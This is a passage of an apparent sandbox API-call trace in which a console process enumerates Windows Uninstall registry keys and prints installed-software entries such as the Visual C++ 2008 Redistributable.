lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.286] GetConsoleOutputCP () returned 0x1b5 [0150.286] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.286] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.286] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.286] __iob_func () returned 0x7fefd702a80 [0150.286] _fileno (_File=0x7fefd702ab0) returned 1 [0150.286] _errno () returned 0x204bb0 [0150.286] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.286] _errno () returned 0x204bb0 [0150.286] GetFileType (hFile=0x50) returned 0x1 [0150.286] lstrlenW (lpString="REG_SZ") returned 6 [0150.286] GetConsoleOutputCP () returned 0x1b5 [0150.287] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.287] GetConsoleOutputCP () returned 0x1b5 [0150.287] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.287] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.287] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.287] __iob_func () returned 0x7fefd702a80 [0150.287] _fileno (_File=0x7fefd702ab0) returned 1 [0150.287] _errno () returned 0x204bb0 [0150.287] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.287] _errno () returned 0x204bb0 [0150.287] GetFileType (hFile=0x50) returned 0x1 [0150.287] lstrlenW (lpString=" ") returned 4 [0150.287] GetConsoleOutputCP () returned 0x1b5 [0150.287] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.287] GetConsoleOutputCP () returned 0x1b5 [0150.288] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.288] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.288] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.288] __iob_func () returned 0x7fefd702a80 [0150.288] _fileno (_File=0x7fefd702ab0) returned 1 [0150.288] _errno () returned 0x204bb0 [0150.288] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.288] _errno () returned 0x204bb0 [0150.288] GetFileType (hFile=0x50) returned 0x1 [0150.288] lstrlenW (lpString="Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161") returned 62 [0150.288] GetConsoleOutputCP () returned 0x1b5 [0150.288] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0150.288] GetConsoleOutputCP () returned 0x1b5 [0150.288] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161", cchWideChar=62, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161", lpUsedDefaultChar=0x0) returned 62 [0150.288] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 62 [0150.288] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.288] __iob_func () returned 0x7fefd702a80 [0150.288] _fileno (_File=0x7fefd702ab0) returned 1 [0150.288] _errno () returned 0x204bb0 [0150.288] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.288] _errno () returned 0x204bb0 [0150.288] GetFileType (hFile=0x50) returned 0x1 [0150.288] lstrlenW (lpString="\n") returned 1 [0150.289] GetConsoleOutputCP () returned 0x1b5 [0150.289] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.289] GetConsoleOutputCP () returned 0x1b5 [0150.289] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.289] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.289] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.289] GetProcessHeap () returned 0x3c0000 [0150.289] GetProcessHeap () returned 0x3c0000 [0150.289] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.289] GetProcessHeap () returned 0x3c0000 [0150.289] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x82 [0150.289] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0150.289] __iob_func () returned 0x7fefd702a80 [0150.289] _fileno (_File=0x7fefd702ab0) returned 1 [0150.289] _errno () returned 0x204bb0 [0150.289] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.289] _errno () returned 0x204bb0 [0150.289] GetFileType (hFile=0x50) returned 0x1 [0150.289] lstrlenW (lpString="\n") returned 1 [0150.289] GetConsoleOutputCP () returned 0x1b5 [0150.289] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.289] GetConsoleOutputCP () returned 0x1b5 [0150.290] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.290] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.290] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.290] GetProcessHeap () returned 0x3c0000 [0150.290] GetProcessHeap () returned 0x3c0000 [0150.290] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0150.290] GetProcessHeap () returned 0x3c0000 [0150.290] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x28 [0150.290] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0150.290] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.290] GetProcessHeap () returned 0x3c0000 [0150.290] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0150.290] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{9BE518E6-ECC6-35A9-88E4-87755C07200F}") returned 121 [0150.290] GetProcessHeap () returned 0x3c0000 [0150.290] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xf6) returned 0x3e1c70 [0150.290] GetProcessHeap () returned 0x3c0000 [0150.290] GetProcessHeap () returned 0x3c0000 [0150.290] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.290] GetProcessHeap () returned 0x3c0000 [0150.290] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0150.290] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.290] GetProcessHeap () returned 0x3c0000 [0150.290] GetProcessHeap () returned 0x3c0000 [0150.290] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.290] GetProcessHeap () returned 0x3c0000 [0150.290] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xf6 [0150.290] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0150.290] RegCloseKey (hKey=0x5c) returned 0x0 [0150.290] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x1f, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.290] __iob_func () returned 0x7fefd702a80 [0150.290] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.291] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\n") returned 122 [0150.291] _fileno (_File=0x7fefd702ab0) returned 1 [0150.291] _errno () returned 0x204bb0 [0150.291] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.291] _errno () returned 0x204bb0 [0150.291] GetFileType (hFile=0x50) returned 0x1 [0150.291] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\n") returned 122 [0150.291] GetConsoleOutputCP () returned 0x1b5 [0150.291] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\n", cchWideChar=122, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 122 [0150.291] GetConsoleOutputCP () returned 0x1b5 [0150.291] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\n", cchWideChar=122, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\n", lpUsedDefaultChar=0x0) returned 122 [0150.291] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 122 [0150.291] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.291] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0150.291] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x18, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0150.291] GetProcessHeap () returned 0x3c0000 [0150.291] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x28) returned 0x3d5c30 [0150.291] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="AuthorizedCDFPrefix", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.291] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.291] GetProcessHeap () returned 0x3c0000 [0150.291] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.291] GetProcessHeap () returned 0x3c0000 [0150.291] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.292] GetProcessHeap () returned 0x3c0000 [0150.292] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.292] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.292] __iob_func () returned 0x7fefd702a80 [0150.292] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.292] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.292] _fileno (_File=0x7fefd702ab0) returned 1 [0150.292] _errno () returned 0x204bb0 [0150.292] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.292] _errno () returned 0x204bb0 [0150.292] GetFileType (hFile=0x50) returned 0x1 [0150.292] lstrlenW (lpString=" ") returned 4 [0150.292] GetConsoleOutputCP () returned 0x1b5 [0150.292] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.292] GetConsoleOutputCP () returned 0x1b5 [0150.292] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.292] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.292] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.292] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0150.292] __iob_func () returned 0x7fefd702a80 [0150.292] _fileno (_File=0x7fefd702ab0) returned 1 [0150.292] _errno () returned 0x204bb0 [0150.292] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.292] _errno () returned 0x204bb0 [0150.292] GetFileType (hFile=0x50) returned 0x1 [0150.292] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0150.293] GetConsoleOutputCP () returned 0x1b5 [0150.293] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0150.293] GetConsoleOutputCP () returned 0x1b5 [0150.293] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AuthorizedCDFPrefix", lpUsedDefaultChar=0x0) returned 19 [0150.293] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 19 [0150.293] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.293] __iob_func () returned 0x7fefd702a80 [0150.293] _fileno (_File=0x7fefd702ab0) returned 1 [0150.293] _errno () returned 0x204bb0 [0150.293] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.293] _errno () returned 0x204bb0 [0150.293] GetFileType (hFile=0x50) returned 0x1 [0150.293] lstrlenW (lpString=" ") returned 4 [0150.293] GetConsoleOutputCP () returned 0x1b5 [0150.293] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.293] GetConsoleOutputCP () returned 0x1b5 [0150.293] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.293] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.293] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.294] __iob_func () returned 0x7fefd702a80 [0150.294] _fileno (_File=0x7fefd702ab0) returned 1 [0150.294] _errno () returned 0x204bb0 [0150.294] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.294] _errno () returned 0x204bb0 [0150.294] GetFileType (hFile=0x50) returned 0x1 [0150.294] lstrlenW (lpString="REG_SZ") returned 6 [0150.294] GetConsoleOutputCP () returned 0x1b5 [0150.294] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.294] GetConsoleOutputCP () returned 0x1b5 [0150.294] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.294] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.294] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.294] __iob_func () returned 0x7fefd702a80 [0150.294] _fileno (_File=0x7fefd702ab0) returned 1 [0150.294] _errno () returned 0x204bb0 [0150.294] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.294] _errno () returned 0x204bb0 [0150.294] GetFileType (hFile=0x50) returned 0x1 [0150.294] lstrlenW (lpString=" ") returned 4 [0150.294] GetConsoleOutputCP () returned 0x1b5 [0150.294] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.294] GetConsoleOutputCP () returned 0x1b5 [0150.295] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.295] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.295] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.295] __iob_func () returned 0x7fefd702a80 [0150.295] _fileno (_File=0x7fefd702ab0) returned 1 [0150.295] _errno () returned 0x204bb0 [0150.295] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.295] _errno () returned 0x204bb0 [0150.295] GetFileType (hFile=0x50) returned 0x1 [0150.295] lstrlenW (lpString="") returned 0 [0150.295] __iob_func () returned 0x7fefd702a80 [0150.295] _fileno (_File=0x7fefd702ab0) returned 1 [0150.295] _errno () returned 0x204bb0 [0150.295] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.295] _errno () returned 0x204bb0 [0150.295] GetFileType (hFile=0x50) returned 0x1 [0150.295] lstrlenW (lpString="\n") returned 1 [0150.295] GetConsoleOutputCP () returned 0x1b5 [0150.295] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.295] GetConsoleOutputCP () returned 0x1b5 [0150.295] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.295] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.295] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.296] GetProcessHeap () returned 0x3c0000 [0150.296] GetProcessHeap () returned 0x3c0000 [0150.296] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.296] GetProcessHeap () returned 0x3c0000 [0150.296] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.296] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.296] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Comments", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.296] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xa) returned 0x0 [0150.296] GetProcessHeap () returned 0x3c0000 [0150.296] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xc) returned 0x3df290 [0150.296] GetProcessHeap () returned 0x3c0000 [0150.296] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0150.296] GetProcessHeap () returned 0x3c0000 [0150.296] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0xc [0150.296] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0xa | out: pdwType=0x29f700*=0x1, pvData=" ", pcbData=0x29f780*=0x8) returned 0x0 [0150.296] __iob_func () returned 0x7fefd702a80 [0150.296] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.296] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.296] _fileno (_File=0x7fefd702ab0) returned 1 [0150.296] _errno () returned 0x204bb0 [0150.296] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.296] _errno () returned 0x204bb0 [0150.296] GetFileType (hFile=0x50) returned 0x1 [0150.296] lstrlenW (lpString=" ") returned 4 [0150.296] GetConsoleOutputCP () returned 0x1b5 [0150.296] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.296] GetConsoleOutputCP () returned 0x1b5 [0150.297] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.297] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.297] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.297] lstrlenW (lpString="Comments") returned 8 [0150.297] __iob_func () returned 0x7fefd702a80 [0150.297] _fileno (_File=0x7fefd702ab0) returned 1 [0150.297] _errno () returned 0x204bb0 [0150.297] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.297] _errno () returned 0x204bb0 [0150.297] GetFileType (hFile=0x50) returned 0x1 [0150.297] lstrlenW (lpString="Comments") returned 8 [0150.297] GetConsoleOutputCP () returned 0x1b5 [0150.297] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0150.297] GetConsoleOutputCP () returned 0x1b5 [0150.297] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Comments", lpUsedDefaultChar=0x0) returned 8 [0150.297] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0150.297] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.297] __iob_func () returned 0x7fefd702a80 [0150.297] _fileno (_File=0x7fefd702ab0) returned 1 [0150.297] _errno () returned 0x204bb0 [0150.297] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.297] _errno () returned 0x204bb0 [0150.297] GetFileType (hFile=0x50) returned 0x1 [0150.297] lstrlenW (lpString=" ") returned 4 [0150.297] GetConsoleOutputCP () returned 0x1b5 [0150.298] WideCharToMultiByte (in: CodePage=0x1b5, 